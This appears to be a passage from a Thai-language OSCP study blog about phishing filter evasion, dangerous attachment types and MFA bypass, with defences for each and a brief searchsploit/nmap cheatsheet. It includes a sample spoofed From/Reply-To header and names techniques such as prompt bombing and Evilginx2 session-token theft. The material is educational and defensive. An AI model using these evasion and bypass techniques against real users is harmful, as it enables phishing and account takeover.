Email Security Gateways สมัยใหม่นั้น(อาทิเช่น Proofpoint, Microsoft Defender for Office 365, Barracuda)สามารถที่จะวิเคราะห์การโจมตีแบบ Phishing ในอีเมลเพื่อคัดกรองอีเมลที่น่าสงสัยออกก่อนที่อีเมลนั้นจะถึงผู้ใช้งานได้
แต่ในขณะเดียวกัน ผู้โจมตีก็ได้พัฒนาเทคนิคและวิธีการในการหลีกเลี่ยงการคัดกรองได้เช่นกัน อาทิเช่น:
- Reputation Blocklist Evasion:
- โดยหลายๆระบบการคัดกรองอีเมลนั้นจะใช้ระบบ Blocklist ในการคัด Domain ที่เป็นอันตรายออก
- ผู้โจมตีจึงทำการสมัครใช้ Domain ใหม่ทันทีที่โดนคัดออก
- External Domain & Internal Email Spoofing:
- External Email Spoofing นั้นผู้โจมตีจะส่งอีเมล Phishing ที่แสดงชื่อเป็นชื่อที่อยู่ Internal แต่จริงๆแล้วมาจาก External Domain
From: "HR Department" <hr@company-secure.info>
Reply-To: hr@company.com
- โดยที่ชื่อที่อยู่ “Form” นั้นดูสมจริง แต่จะเห็นได้ว่า Domain นั้นมาจาก External “company-secure.info”
- และเมื่อตอบกลับไปหาอีเมล Internal จริงๆ จึงทำให้อีเมลดูสมจริงยิ่งขึ้น
- Dynamic Link Manipulation:
- URL Shorteners (Bitly, TinyURL) ทำการซ่อนลิงค์จริงๆด้วยลิงค์ที่สั้นลงสามารถดูตัวอย่างได้จากด้านบน
- Rewriting URLs โดยใช้ JavaScript-Based Redirect เพื่อให้มั่นใจได้ว่าลิงค์นั้นจะไม่ถูกค้นพบว่าเป็นลิงค์ปลอมจนกว่าจะถูกคลิก
วิธีการป้องกัน:
- ฝึกฝนบุคลากรให้สามารถตรวจสอบความผิดปกติของลิงค์ก่อนคลิก
- เปิดการใช้งานระบบคัดกรองอีเมลด้วย AI ที่ตรวจสอบสิ่งผิดปกติ
- ทำ Blacklist สำหรับ External Email ที่ใช้ชื่อให้ดูเหมือนกับ Internal หรือบุคลากรภายใน
Identifying Risks of Malicious Office Macros:
Office Documents (Word, Excel, PowerPoint) นั้นสามารถที่จะแนบไฟล์ VBA Macros เพื่อทำการสั่งให้ Malware หรือ Script ที่เป็นอันตรายทำงานได้ ซึ่งได้มีการพูดถึงเรื่องนี้ไปแล้วใน Blog Series นี้ Part ที่ 4 (ข้อมูลเพิ่มเติม: https://safecloud.co.th/researches/blog/My-2025-OSCP-Journey-Part-4)
Assessing Threats From Malicious Files:
ผู้โจมตีนั้นสามารถใช้ Non-standard Executable Formats หรือประเภทไฟล์ที่ไม่ได้เป็นมาตรฐานหรือพบได้ไม่บ่อยเพื่อหลบหลีกการโดนตรวจจับ:
ประเภทไฟล์ที่ใช้และพบเห็นได้บ่อยในการโจมตีแบบ Phishing:
ประเภทไฟล์ | Descripton | ตัวอย่างรูปแบบการโจมตี |
---|---|---|
HTA Files (.hta) | สามารถใช้ Execute คำสั่งในระบบได้ | Remote Execution กับ PS script |
SCR Files (.scr) | เป็นประเภทไฟล์ Executable อยู่แล้ว | แนบไว้กัน Software Update ปลอม |
JScript Files (.js/.jse) | สามารถใช้ Execute ไฟล์บน Windows ได้ | ใช้ดาวน์โหลด Remote Malware |
NTFS Alternate Data Streams (ADS) | สามารถซ่อนการสั่งการงานไฟล์ไว้ในระบบไฟล์ของ NTFS ได้ | เก็บ Malware ไวในไฟล์ที่ไม่ถูกตรวจจับ |
วิธีการป้องกัน:
- ทำการ Block ประเภทไฟล์ดังกล่าวที่ถูกแนบมากับอีเมล
- ใช้ Windows Defender Application Control (WDAC) เพื่อจำกัดการทำงานของสคริปต์
Differentiate Credential Phishing and Multi-Factor Authentication(MFA) :
ในเนื้อหาส่วนนี้นั้นจะกล่าวถึงเมื่อผู้โจมตีทำการมุ่งการโจมตีไปที่ MFA-Protected Accounts โดยใช้ Session Hijacking(การยึด Session), การโจมตีแบบ MFA Fatigue, และ Real-time Interception
การโจมตีที่พบได้บ่อยเพื่อหลีกเลี่ยง MFA:
ประเภทการโจมตี | การทำงาน |
---|---|
MFA Fatigue (Prompt Bombing) | ผู้โจมตีส่ง MFA Request จนกว่าเหยื่อจะทำการยืนยัน |
Lapsus$ Group MFA Bypass | ใช้ Social Engineering และ Prompt Bombing เพื่อหลอกล่อเหยื่อให้ยืนยันสิทธิ์ |
Browser-in-the-Middle (BitM) Attacks | ดักจับ Session Token โดยใช้ Reverse Proxies (อาทิเช่น Evilginx2 ) |
วิธีการป้องกัน:
- ใช้งาน Phishing-Resistant MFA (อาทิเช่น FIDO2 Security Keys)
- จำกัดการยืนยัน MFA (อาจแลกมาด้วย Performance)
Wrapping Up
และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาเชิงเทคนิคหลายๆอย่าง โดยที่ประกอบไปด้วย การโจมตีโดยการใช้ Public Exploit โดยครอบคลุมทั้งข้อควรระวัง เครื่องมือต่างๆทั้งแบบ Online และ Offline และความรู้พื้นฐานทั้งหมดเกี่ยวกับ Phishing
ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป
และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ
สำหรับผู้ที่สนใจ Cheatsheet
สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏
Command Cheatsheet with Additional Description
CC_Exploit Resource(การโจมตีโดยการใช้ SQL)
-
Exploit-DB
-
Exploit-DB Compiled exploit
-
Searchsploit:
kali@kali:~$ searchsploitUsage: searchsploit [options] term1 [term2] ... [termN]
- Nmap Exploit:
kali@kali:~$ grepExploits /usr/share/nmap/scripts/*.nse //ทำการหาทรัพยากร Exploit ที่ใช้ได้kali@kali:~$ nmap--script-help={exploit-name}.nse //โชว์ข้อมูลของแต่ละ Exploit
ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏
อ่าน Part 2 : Information Gathering
อ่าน Part 3 : Vulnerability Scanning & Basic Web Attacks